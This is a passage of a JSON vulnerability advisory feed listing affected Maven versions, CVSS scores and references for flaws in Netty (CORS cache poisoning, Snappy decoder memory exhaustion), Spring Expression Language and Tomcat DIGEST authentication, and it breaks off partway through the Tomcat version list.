ensure that intermediate caches (like CDNs) cache responses separately per user, the `CorsHandler` will overwrite it with `Vary: origin`. This causes the caching proxy to ignore the authorization context and cache the response based solely on the URL and Origin, allowing an attacker to retrieve another user's cached sensitive data.\n\n### Impact\nThis is a Cache Poisoning vulnerability that leads to Information Disclosure. It impacts any Netty-based web application that uses the CorsHandler, sets its own Vary headers to manage caching of authenticated or user-specific responses (e.g., Vary: Authorization), and is deployed behind a caching proxy or CDN. The end-users of these applications are impacted, as their sensitive data may be leaked to unauthorized actors.", "aliases": [ "CVE-2026-59903" ], "modified": "2026-09-10T03:51:13.389261985Z", "published": "2026-08-17T18:24:26Z", "database_specific": { "github_reviewed_at": "2026-08-17T18:24:26Z", "nvd_published_at": null, "cwe_ids": [ "CWE-524" ], "severity": "MODERATE", "github_reviewed": true }, "references": [ { "type": "WEB", "url": "https://github.com/netty/netty/security/advisories/GHSA-8c42-7qj2-3j46" }, { "type": "WEB", "url": "https://github.com/netty/netty/pull/17213" }, { "type": "WEB", "url": "https://github.com/netty/netty/pull/17217" }, { "type": "PACKAGE", "url": "https://github.com/netty/netty" }, { "type": "WEB", "url": "https://github.com/netty/netty/releases/tag/netty-4.1.137.Final" }, { "type": "WEB", "url": "https://github.com/netty/netty/releases/tag/netty-4.2.17.Final" } ], "affected": [ { "package": { "name": "io.netty:netty-codec-http", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty-codec-http" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "4.2.0.Final" }, { "fixed": "4.2.17.Final" } ] } ], "versions": [ "4.2.0.Final", "4.2.1.Final", "4.2.10.Final", "4.2.11.Final", "4.2.12.Final", "4.2.13.Final", "4.2.14.Final", "4.2.15.Final", "4.2.16.Final", "4.2.2.Final", "4.2.3.Final", "4.2.4.Final", "4.2.5.Final", "4.2.6.Final", "4.2.7.Final", "4.2.8.Final", "4.2.9.Final" ], "database_specific": { "last_known_affected_version_range": "<= 4.2.16.Final", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-8c42-7qj2-3j46/GHSA-8c42-7qj2-3j46.json" } }, { "package": { "name": "io.netty:netty-codec-http", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty-codec-http" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "4.1.137.Final" } ] } ], "versions": [ "4.0.0.Alpha1", "4.0.0.Alpha2", "4.0.0.Alpha3", "4.0.0.Alpha4", "4.0.0.Alpha5", "4.0.0.Alpha6", "4.0.0.Alpha7", "4.0.0.Alpha8", "4.0.0.Beta1", "4.0.0.Beta2", "4.0.0.Beta3", "4.0.0.CR1", "4.0.0.CR2", "4.0.0.CR3", "4.0.0.CR4", "4.0.0.CR5", "4.0.0.CR6", "4.0.0.CR7", "4.0.0.CR8", "4.0.0.CR9", "4.0.0.Final", "4.0.1.Final", "4.0.10.Final", "4.0.11.Final", "4.0.12.Final", "4.0.13.Final", "4.0.14.Beta1", "4.0.14.Final", "4.0.15.Final", "4.0.16.Final", "4.0.17.Final", "4.0.18.Final", "4.0.19.Final", "4.0.2.Final", "4.0.20.Final", "4.0.21.Final", "4.0.22.Final", "4.0.23.Final", "4.0.24.Final", "4.0.25.Final", "4.0.26.Final", "4.0.27.Final", "4.0.28.Final", "4.0.29.Final", "4.0.3.Final", "4.0.30.Final", "4.0.31.Final", "4.0.32.Final", "4.0.33.Final", "4.0.34.Final", "4.0.35.Final", "4.0.36.Final", "4.0.37.Final", "4.0.38.Final", "4.0.39.Final", "4.0.4.Final", "4.0.40.Final", "4.0.41.Final", "4.0.42.Final", "4.0.43.Final", "4.0.44.Final", "4.0.45.Final", "4.0.46.Final", "4.0.47.Final", "4.0.48.Final", "4.0.49.Final", "4.0.5.Final", "4.0.50.Final", "4.0.51.Final", "4.0.52.Final", "4.0.53.Final", "4.0.54.Final", "4.0.55.Final", "4.0.56.Final", "4.0.6.Final", "4.0.7.Final", "4.0.8.Final", "4.0.9.Final", "4.1.0.Beta1", "4.1.0.Beta2", "4.1.0.Beta3", "4.1.0.Beta4", "4.1.0.Beta5", "4.1.0.Beta6", "4.1.0.Beta7", "4.1.0.Beta8", "4.1.0.CR1", "4.1.0.CR2", "4.1.0.CR3", "4.1.0.CR4", "4.1.0.CR5", "4.1.0.CR6", "4.1.0.CR7", "4.1.0.Final", "4.1.1.Final", "4.1.10.Final", "4.1.100.Final", "4.1.101.Final", "4.1.102.Final", "4.1.103.Final", "4.1.104.Final", "4.1.105.Final", "4.1.106.Final", "4.1.107.Final", "4.1.108.Final", "4.1.109.Final", "4.1.11.Final", "4.1.110.Final", "4.1.111.Final", "4.1.112.Final", "4.1.113.Final", "4.1.114.Final", "4.1.115.Final", "4.1.116.Final", "4.1.117.Final", "4.1.118.Final", "4.1.119.Final", "4.1.12.Final", "4.1.120.Final", "4.1.121.Final", "4.1.122.Final", "4.1.123.Final", "4.1.124.Final", "4.1.125.Final", "4.1.126.Final", "4.1.127.Final", "4.1.128.Final", "4.1.129.Final", "4.1.13.Final", "4.1.130.Final", "4.1.131.Final", "4.1.132.Final", "4.1.133.Final", "4.1.134.Final", "4.1.135.Final", "4.1.136.Final", "4.1.14.Final", "4.1.15.Final", "4.1.16.Final", "4.1.17.Final", "4.1.18.Final", "4.1.19.Final", "4.1.2.Final", "4.1.20.Final", "4.1.21.Final", "4.1.22.Final", "4.1.23.Final", "4.1.24.Final", "4.1.25.Final", "4.1.26.Final", "4.1.27.Final", "4.1.28.Final", "4.1.29.Final", "4.1.3.Final", "4.1.30.Final", "4.1.31.Final", "4.1.32.Final", "4.1.33.Final", "4.1.34.Final", "4.1.35.Final", "4.1.36.Final", "4.1.37.Final", "4.1.38.Final", "4.1.39.Final", "4.1.4.Final", "4.1.40.Final", "4.1.41.Final", "4.1.42.Final", "4.1.43.Final", "4.1.44.Final", "4.1.45.Final", "4.1.46.Final", "4.1.47.Final", "4.1.48.Final", "4.1.49.Final", "4.1.5.Final", "4.1.50.Final", "4.1.51.Final", "4.1.52.Final", "4.1.53.Final", "4.1.54.Final", "4.1.55.Final", "4.1.56.Final", "4.1.57.Final", "4.1.58.Final", "4.1.59.Final", "4.1.6.Final", "4.1.60.Final", "4.1.61.Final", "4.1.62.Final", "4.1.63.Final", "4.1.64.Final", "4.1.65.Final", "4.1.66.Final", "4.1.67.Final", "4.1.68.Final", "4.1.69.Final", "4.1.7.Final", "4.1.70.Final", "4.1.71.Final", "4.1.72.Final", "4.1.73.Final", "4.1.74.Final", "4.1.75.Final", "4.1.76.Final", "4.1.77.Final", "4.1.78.Final", "4.1.79.Final", "4.1.8.Final", "4.1.80.Final", "4.1.81.Final", "4.1.82.Final", "4.1.83.Final", "4.1.84.Final", "4.1.85.Final", "4.1.86.Final", "4.1.87.Final", "4.1.88.Final", "4.1.89.Final", "4.1.9.Final", "4.1.90.Final", "4.1.91.Final", "4.1.92.Final", "4.1.93.Final", "4.1.94.Final", "4.1.95.Final", "4.1.96.Final", "4.1.97.Final", "4.1.98.Final", "4.1.99.Final" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-8c42-7qj2-3j46/GHSA-8c42-7qj2-3j46.json", "last_known_affected_version_range": "<= 4.1.136.Final" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N" } ] }, { "id": "GHSA-9f52-rjqv-25qv", "summary": "Spring Framework Arbitrary Method Invocation in SpEL Expressions", "details": "A vulnerability in Spring Expression Language (SpEL) evaluation logic allows for arbitrary zero-argument method invocation, even within restricted or read-only contexts, which may allow an attacker to invoke unintended application logic.\n\nAffected versions:\nSpring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18; 6.1.0 through 6.1.27; 5.3.0 through 5.3.48.", "aliases": [ "CVE-2026-41852" ], "modified": "2026-09-10T03:50:49.325466833Z", "published": "2026-06-09T06:31:58Z", "database_specific": { "severity": "LOW", "github_reviewed": true, "github_reviewed_at": "2026-07-30T18:13:42Z", "nvd_published_at": "2026-06-09T05:16:37Z", "cwe_ids": [ "CWE-863" ] }, "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41852" }, { "type": "PACKAGE", "url": "https://github.com/spring-projects/spring-framework" }, { "type": "WEB", "url": "https://github.com/spring-projects/spring-framework/releases/tag/v6.2.19" }, { "type": "WEB", "url": "https://github.com/spring-projects/spring-framework/releases/tag/v7.0.8" }, { "type": "WEB", "url": "https://spring.io/security/cve-2026-41852" } ], "affected": [ { "package": { "name": "org.springframework:spring-expression", "ecosystem": "Maven", "purl": "pkg:maven/org.springframework/spring-expression" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "7.0.0" }, { "fixed": "7.0.8" } ] } ], "versions": [ "7.0.0", "7.0.1", "7.0.2", "7.0.3", "7.0.4", "7.0.5", "7.0.6", "7.0.7" ], "database_specific": { "last_known_affected_version_range": "<= 7.0.7", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-9f52-rjqv-25qv/GHSA-9f52-rjqv-25qv.json" } }, { "package": { "name": "org.springframework:spring-expression", "ecosystem": "Maven", "purl": "pkg:maven/org.springframework/spring-expression" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "6.2.0" }, { "fixed": "6.2.19" } ] } ], "versions": [ "6.2.0", "6.2.1", "6.2.10", "6.2.11", "6.2.12", "6.2.13", "6.2.14", "6.2.15", "6.2.16", "6.2.17", "6.2.18", "6.2.2", "6.2.3", "6.2.4", "6.2.5", "6.2.6", "6.2.7", "6.2.8", "6.2.9" ], "database_specific": { "last_known_affected_version_range": "<= 6.2.18", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-9f52-rjqv-25qv/GHSA-9f52-rjqv-25qv.json" } }, { "package": { "name": "org.springframework:spring-expression", "ecosystem": "Maven", "purl": "pkg:maven/org.springframework/spring-expression" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "6.1.0" }, { "last_affected": "6.1.21" } ] } ], "versions": [ "6.1.0", "6.1.1", "6.1.10", "6.1.11", "6.1.12", "6.1.13", "6.1.14", "6.1.15", "6.1.16", "6.1.17", "6.1.18", "6.1.19", "6.1.2", "6.1.20", "6.1.21", "6.1.3", "6.1.4", "6.1.5", "6.1.6", "6.1.7", "6.1.8", "6.1.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-9f52-rjqv-25qv/GHSA-9f52-rjqv-25qv.json" } }, { "package": { "name": "org.springframework:spring-expression", "ecosystem": "Maven", "purl": "pkg:maven/org.springframework/spring-expression" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "last_affected": "5.3.39" } ] } ], "versions": [ "3.0.0.RELEASE", "3.0.1.RELEASE", "3.0.2.RELEASE", "3.0.3.RELEASE", "3.0.4.RELEASE", "3.0.5.RELEASE", "3.0.6.RELEASE", "3.0.7.RELEASE", "3.1.0.RELEASE", "3.1.1.RELEASE", "3.1.2.RELEASE", "3.1.3.RELEASE", "3.1.4.RELEASE", "3.2.0.RELEASE", "3.2.1.RELEASE", "3.2.10.RELEASE", "3.2.11.RELEASE", "3.2.12.RELEASE", "3.2.13.RELEASE", "3.2.14.RELEASE", "3.2.15.RELEASE", "3.2.16.RELEASE", "3.2.17.RELEASE", "3.2.18.RELEASE", "3.2.2.RELEASE", "3.2.3.RELEASE", "3.2.4.RELEASE", "3.2.5.RELEASE", "3.2.6.RELEASE", "3.2.7.RELEASE", "3.2.8.RELEASE", "3.2.9.RELEASE", "4.0.0.RELEASE", "4.0.1.RELEASE", "4.0.2.RELEASE", "4.0.3.RELEASE", "4.0.4.RELEASE", "4.0.5.RELEASE", "4.0.6.RELEASE", "4.0.7.RELEASE", "4.0.8.RELEASE", "4.0.9.RELEASE", "4.1.0.RELEASE", "4.1.1.RELEASE", "4.1.2.RELEASE", "4.1.3.RELEASE", "4.1.4.RELEASE", "4.1.5.RELEASE", "4.1.6.RELEASE", "4.1.7.RELEASE", "4.1.8.RELEASE", "4.1.9.RELEASE", "4.2.0.RELEASE", "4.2.1.RELEASE", "4.2.2.RELEASE", "4.2.3.RELEASE", "4.2.4.RELEASE", "4.2.5.RELEASE", "4.2.6.RELEASE", "4.2.7.RELEASE", "4.2.8.RELEASE", "4.2.9.RELEASE", "4.3.0.RELEASE", "4.3.1.RELEASE", "4.3.10.RELEASE", "4.3.11.RELEASE", "4.3.12.RELEASE", "4.3.13.RELEASE", "4.3.14.RELEASE", "4.3.15.RELEASE", "4.3.16.RELEASE", "4.3.17.RELEASE", "4.3.18.RELEASE", "4.3.19.RELEASE", "4.3.2.RELEASE", "4.3.20.RELEASE", "4.3.21.RELEASE", "4.3.22.RELEASE", "4.3.23.RELEASE", "4.3.24.RELEASE", "4.3.25.RELEASE", "4.3.26.RELEASE", "4.3.27.RELEASE", "4.3.28.RELEASE", "4.3.29.RELEASE", "4.3.3.RELEASE", "4.3.30.RELEASE", "4.3.4.RELEASE", "4.3.5.RELEASE", "4.3.6.RELEASE", "4.3.7.RELEASE", "4.3.8.RELEASE", "4.3.9.RELEASE", "5.0.0.RELEASE", "5.0.1.RELEASE", "5.0.10.RELEASE", "5.0.11.RELEASE", "5.0.12.RELEASE", "5.0.13.RELEASE", "5.0.14.RELEASE", "5.0.15.RELEASE", "5.0.16.RELEASE", "5.0.17.RELEASE", "5.0.18.RELEASE", "5.0.19.RELEASE", "5.0.2.RELEASE", "5.0.20.RELEASE", "5.0.3.RELEASE", "5.0.4.RELEASE", "5.0.5.RELEASE", "5.0.6.RELEASE", "5.0.7.RELEASE", "5.0.8.RELEASE", "5.0.9.RELEASE", "5.1.0.RELEASE", "5.1.1.RELEASE", "5.1.10.RELEASE", "5.1.11.RELEASE", "5.1.12.RELEASE", "5.1.13.RELEASE", "5.1.14.RELEASE", "5.1.15.RELEASE", "5.1.16.RELEASE", "5.1.17.RELEASE", "5.1.18.RELEASE", "5.1.19.RELEASE", "5.1.2.RELEASE", "5.1.20.RELEASE", "5.1.3.RELEASE", "5.1.4.RELEASE", "5.1.5.RELEASE", "5.1.6.RELEASE", "5.1.7.RELEASE", "5.1.8.RELEASE", "5.1.9.RELEASE", "5.2.0.RELEASE", "5.2.1.RELEASE", "5.2.10.RELEASE", "5.2.11.RELEASE", "5.2.12.RELEASE", "5.2.13.RELEASE", "5.2.14.RELEASE", "5.2.15.RELEASE", "5.2.16.RELEASE", "5.2.17.RELEASE", "5.2.18.RELEASE", "5.2.19.RELEASE", "5.2.2.RELEASE", "5.2.20.RELEASE", "5.2.21.RELEASE", "5.2.22.RELEASE", "5.2.23.RELEASE", "5.2.24.RELEASE", "5.2.25.RELEASE", "5.2.3.RELEASE", "5.2.4.RELEASE", "5.2.5.RELEASE", "5.2.6.RELEASE", "5.2.7.RELEASE", "5.2.8.RELEASE", "5.2.9.RELEASE", "5.3.0", "5.3.1", "5.3.10", "5.3.11", "5.3.12", "5.3.13", "5.3.14", "5.3.15", "5.3.16", "5.3.17", "5.3.18", "5.3.19", "5.3.2", "5.3.20", "5.3.21", "5.3.22", "5.3.23", "5.3.24", "5.3.25", "5.3.26", "5.3.27", "5.3.28", "5.3.29", "5.3.3", "5.3.30", "5.3.31", "5.3.32", "5.3.33", "5.3.34", "5.3.35", "5.3.36", "5.3.37", "5.3.38", "5.3.39", "5.3.4", "5.3.5", "5.3.6", "5.3.7", "5.3.8", "5.3.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-9f52-rjqv-25qv/GHSA-9f52-rjqv-25qv.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" } ] }, { "id": "GHSA-9vjp-v76f-g363", "summary": " SnappyFrameDecoder doesn't restrict chunk length any may buffer skippable chunks in an unnecessary way", "details": "### Impact\nThe Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well.\n\nThis vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk.\n\n### Impact\n\nAll users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage.\n\n### References\nhttps://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79\nhttps://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171\nhttps://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185", "aliases": [ "CVE-2021-37137" ], "modified": "2026-07-08T06:27:59.313512567Z", "published": "2021-09-09T17:11:31Z", "database_specific": { "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2021-09-09T14:44:10Z", "nvd_published_at": "2021-10-19T15:15:00Z", "cwe_ids": [ "CWE-400" ] }, "references": [ { "type": "WEB", "url": "https://github.com/netty/netty/security/advisories/GHSA-9vjp-v76f-g363" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37137" }, { "type": "WEB", "url": "https://github.com/netty/netty/commit/6da4956b31023ae967451e1d94ff51a746a9194f" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpujul2022.html" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpujan2022.html" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpuapr2022.html" }, { "type": "WEB", "url": "https://www.debian.org/security/2023/dsa-5316" }, { "type": "WEB", "url": "https://security.netapp.com/advisory/ntap-20220210-0012" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00008.html" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rfb2bf8597e53364ccab212fbcbb2a4e9f0a9e1429b1dc08023c6868e@%3Cdev.tinkerpop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rd262f59b1586a108e320e5c966feeafbb1b8cdc96965debc7cc10b16@%3Ccommits.druid.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r75490c61c2cb7b6ae2c81238fd52ae13636c60435abcd732d41531a0@%3Ccommits.druid.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r5e05eba32476c580412f9fbdfc9b8782d5b40558018ac4ac07192a04@%3Ccommits.druid.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r5406eaf3b07577d233b9f07cfc8f26e28369e6bab5edfcab41f28abb@%3Ccommits.druid.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r06a145c9bd41a7344da242cef07977b24abe3349161ede948e30913d@%3Ccommits.druid.apache.org%3E" }, { "type": "WEB", "url": "https://github.com/netty/netty/blob/4.1/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79" }, { "type": "WEB", "url": "https://github.com/netty/netty/blob/4.1/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185" }, { "type": "WEB", "url": "https://github.com/netty/netty/blob/4.1/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171" }, { "type": "PACKAGE", "url": "https://github.com/netty/netty" } ], "affected": [ { "package": { "name": "io.netty:netty-codec", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty-codec" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "4.0.0" }, { "fixed": "4.1.68.Final" } ] } ], "versions": [ "4.0.0.Final", "4.0.1.Final", "4.0.10.Final", "4.0.11.Final", "4.0.12.Final", "4.0.13.Final", "4.0.14.Beta1", "4.0.14.Final", "4.0.15.Final", "4.0.16.Final", "4.0.17.Final", "4.0.18.Final", "4.0.19.Final", "4.0.2.Final", "4.0.20.Final", "4.0.21.Final", "4.0.22.Final", "4.0.23.Final", "4.0.24.Final", "4.0.25.Final", "4.0.26.Final", "4.0.27.Final", "4.0.28.Final", "4.0.29.Final", "4.0.3.Final", "4.0.30.Final", "4.0.31.Final", "4.0.32.Final", "4.0.33.Final", "4.0.34.Final", "4.0.35.Final", "4.0.36.Final", "4.0.37.Final", "4.0.38.Final", "4.0.39.Final", "4.0.4.Final", "4.0.40.Final", "4.0.41.Final", "4.0.42.Final", "4.0.43.Final", "4.0.44.Final", "4.0.45.Final", "4.0.46.Final", "4.0.47.Final", "4.0.48.Final", "4.0.49.Final", "4.0.5.Final", "4.0.50.Final", "4.0.51.Final", "4.0.52.Final", "4.0.53.Final", "4.0.54.Final", "4.0.55.Final", "4.0.56.Final", "4.0.6.Final", "4.0.7.Final", "4.0.8.Final", "4.0.9.Final", "4.1.0.Beta1", "4.1.0.Beta2", "4.1.0.Beta3", "4.1.0.Beta4", "4.1.0.Beta5", "4.1.0.Beta6", "4.1.0.Beta7", "4.1.0.Beta8", "4.1.0.CR1", "4.1.0.CR2", "4.1.0.CR3", "4.1.0.CR4", "4.1.0.CR5", "4.1.0.CR6", "4.1.0.CR7", "4.1.0.Final", "4.1.1.Final", "4.1.10.Final", "4.1.11.Final", "4.1.12.Final", "4.1.13.Final", "4.1.14.Final", "4.1.15.Final", "4.1.16.Final", "4.1.17.Final", "4.1.18.Final", "4.1.19.Final", "4.1.2.Final", "4.1.20.Final", "4.1.21.Final", "4.1.22.Final", "4.1.23.Final", "4.1.24.Final", "4.1.25.Final", "4.1.26.Final", "4.1.27.Final", "4.1.28.Final", "4.1.29.Final", "4.1.3.Final", "4.1.30.Final", "4.1.31.Final", "4.1.32.Final", "4.1.33.Final", "4.1.34.Final", "4.1.35.Final", "4.1.36.Final", "4.1.37.Final", "4.1.38.Final", "4.1.39.Final", "4.1.4.Final", "4.1.40.Final", "4.1.41.Final", "4.1.42.Final", "4.1.43.Final", "4.1.44.Final", "4.1.45.Final", "4.1.46.Final", "4.1.47.Final", "4.1.48.Final", "4.1.49.Final", "4.1.5.Final", "4.1.50.Final", "4.1.51.Final", "4.1.52.Final", "4.1.53.Final", "4.1.54.Final", "4.1.55.Final", "4.1.56.Final", "4.1.57.Final", "4.1.58.Final", "4.1.59.Final", "4.1.6.Final", "4.1.60.Final", "4.1.61.Final", "4.1.62.Final", "4.1.63.Final", "4.1.64.Final", "4.1.65.Final", "4.1.66.Final", "4.1.67.Final", "4.1.7.Final", "4.1.8.Final", "4.1.9.Final" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-9vjp-v76f-g363/GHSA-9vjp-v76f-g363.json" } }, { "package": { "name": "org.jboss.netty:netty", "ecosystem": "Maven", "purl": "pkg:maven/org.jboss.netty/netty" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" } ] } ], "versions": [ "3.0.0.CR1", "3.0.0.CR2", "3.0.0.CR3", "3.0.0.CR4", "3.0.0.CR5", "3.0.0.GA", "3.0.1.GA", "3.0.2.GA", "3.1.0.ALPHA1", "3.1.0.ALPHA2", "3.1.0.ALPHA3", "3.1.0.ALPHA4", "3.1.0.BETA1", "3.1.0.BETA2", "3.1.0.BETA3", "3.1.0.CR1", "3.1.0.GA", "3.1.1.GA", "3.1.2.GA", "3.1.3.GA", "3.1.4.GA", "3.1.5.GA", "3.2.0.ALPHA1", "3.2.0.ALPHA2", "3.2.0.ALPHA3", "3.2.0.ALPHA4", "3.2.0.BETA1", "3.2.0.CR1", "3.2.0.Final", "3.2.1.Final", "3.2.10.Final", "3.2.2.Final", "3.2.3.Final", "3.2.4.Final", "3.2.5.Final", "3.2.6.Final", "3.2.7.Final", "3.2.8.Final", "3.2.9.Final" ], "database_specific": { "last_known_affected_version_range": "< 4.0.0", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-9vjp-v76f-g363/GHSA-9vjp-v76f-g363.json" } }, { "package": { "name": "io.netty:netty", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" } ] } ], "versions": [ "3.10.0.Final", "3.10.1.Final", "3.10.2.Final", "3.10.3.Final", "3.10.4.Final", "3.10.5.Final", "3.10.6.Final", "3.3.0.Final", "3.3.1.Final", "3.4.0.Alpha1", "3.4.0.Alpha2", "3.4.0.Beta1", "3.4.0.Final", "3.4.1.Final", "3.4.2.Final", "3.4.3.Final", "3.4.4.Final", "3.4.5.Final", "3.4.6.Final", "3.5.0.Beta1", "3.5.0.Final", "3.5.1.Final", "3.5.10.Final", "3.5.11.Final", "3.5.12.Final", "3.5.13.Final", "3.5.2.Final", "3.5.3.Final", "3.5.4.Final", "3.5.5.Final", "3.5.6.Final", "3.5.7.Final", "3.5.8.Final", "3.5.9.Final", "3.6.0.Beta1", "3.6.0.Final", "3.6.1.Final", "3.6.10.Final", "3.6.2.Final", "3.6.3.Final", "3.6.4.Final", "3.6.5.Final", "3.6.6.Final", "3.6.7.Final", "3.6.8.Final", "3.6.9.Final", "3.7.0.Final", "3.7.1.Final", "3.8.0.Final", "3.8.1.Final", "3.8.2.Final", "3.8.3.Final", "3.9.0.Final", "3.9.1.1.Final", "3.9.1.Final", "3.9.2.Final", "3.9.3.Final", "3.9.4.Final", "3.9.5.Final", "3.9.6.Final", "3.9.7.Final", "3.9.8.Final", "3.9.9.Final", "4.0.0.Alpha1", "4.0.0.Alpha2", "4.0.0.Alpha3", "4.0.0.Alpha4", "4.0.0.Alpha5", "4.0.0.Alpha6", "4.0.0.Alpha7", "4.0.0.Alpha8" ], "database_specific": { "last_known_affected_version_range": "< 4.0.0", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-9vjp-v76f-g363/GHSA-9vjp-v76f-g363.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ] }, { "id": "GHSA-9xv2-5v5q-p794", "summary": "Apache Tomcat's DIGEST authenticator has an Authentication Bypass by Capture-replay vulnerability", "details": "Authentication Bypass by Capture-replay vulnerability in Apache Tomcat's DIGEST authenticator. If, before windowSize requests have been made, a client makes a DIGEST authenticated request with a nonceCount on the upper boundary of the replay window then that request is replayable once only while the associated nonceCount remains within the replay window.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.24, from 10.1.0-M1 through 10.1.57, from 9.0.0.M1 through 9.0.120.\n\nThe following versions were EOL at the time the CVE was created but are known to be affected: from 8.5.0 through 8.5.100, from 7.0.30 through 7.0.109. Other unsupported versions may also be affected.\n\nUsers are recommended to upgrade to version 11.0.25, 10.1.58 or 9.0.121, which fix the issue.", "aliases": [ "BIT-tomcat-2026-65905", "CVE-2026-65905" ], "modified": "2026-09-11T08:25:52.825871989Z", "published": "2026-08-26T00:30:52Z", "database_specific": { "severity": "CRITICAL", "github_reviewed": true, "github_reviewed_at": "2026-09-02T22:38:14Z", "nvd_published_at": "2026-08-25T22:17:05Z", "cwe_ids": [ "CWE-294" ] }, "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65905" }, { "type": "PACKAGE", "url": "https://github.com/apache/tomcat" }, { "type": "WEB", "url": "https://lists.apache.org/thread/9v114xlpgbzrrbzz5vf9f6r2q4wnxwwj" }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2026/08/26/4" } ], "affected": [ { "package": { "name": "org.apache.tomcat:tomcat", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "11.0.0-M1" }, { "fixed": "11.0.25" } ] } ], "versions": [ "11.0.0", "11.0.0-M1", "11.0.0-M10", "11.0.0-M11", "11.0.0-M12", "11.0.0-M13", "11.0.0-M14", "11.0.0-M15", "11.0.0-M16", "11.0.0-M17", "11.0.0-M18", "11.0.0-M19", "11.0.0-M20", "11.0.0-M21", "11.0.0-M22", "11.0.0-M24", "11.0.0-M25", "11.0.0-M26", "11.0.0-M3", "11.0.0-M4", "11.0.0-M5", "11.0.0-M6", "11.0.0-M7", "11.0.0-M9", "11.0.1", "11.0.10", "11.0.11", "11.0.12", "11.0.13", "11.0.14", "11.0.15", "11.0.18", "11.0.2", "11.0.20", "11.0.21", "11.0.22", "11.0.23", "11.0.24", "11.0.3", "11.0.4", "11.0.5", "11.0.6", "11.0.7", "11.0.8", "11.0.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json" } }, { "package": { "name": "org.apache.tomcat:tomcat", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat/tomcat" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "10.1.0-M1" }, { "fixed": "10.1.58" } ] } ], "versions": [ "10.1.0", "10.1.0-M1", "10.1.0-M10", "10.1.0-M11", "10.1.0-M12", "10.1.0-M14", "10.1.0-M15", "10.1.0-M16", "10.1.0-M17", "10.1.0-M2", "10.1.0-M4", "10.1.0-M5", "10.1.0-M6", "10.1.0-M7", "10.1.0-M8", "10.1.1", "10.1.10", "10.1.11", "10.1.12", "10.1.13", "10.1.14", "10.1.15", "10.1.16", "10.1.17", "10.1.18", "10.1.19", "10.1.2", "10.1.20", "10.1.23", 